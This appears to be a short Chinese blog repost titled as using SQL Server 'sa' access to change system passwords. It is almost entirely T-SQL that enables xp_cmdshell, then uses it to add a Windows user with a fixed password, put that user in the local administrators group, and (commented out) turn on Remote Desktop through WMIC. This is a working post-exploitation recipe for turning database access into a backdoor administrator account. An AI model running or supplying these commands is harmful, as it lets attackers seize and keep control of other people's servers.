利用sqlserver sa更改系统密码

--允许修改高级属性
sp_configure 'show advanced options',1
go
reconfigure
go
--启用扩展存储命令
sp_configure 'xp_cmdshell',1
go
reconfigure
go
--系统添加一个windows用户
xp_cmdshell 'net user test password1! /add'
--新创建的用户加入到管理员
xp_cmdshell 'net localgroup administrators test /add'
--启用远程桌面(适合windows 2003系统)
--xp_cmdshell'Wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1'
原文地址:https://www.cnblogs.com/davidhou/p/8028132.html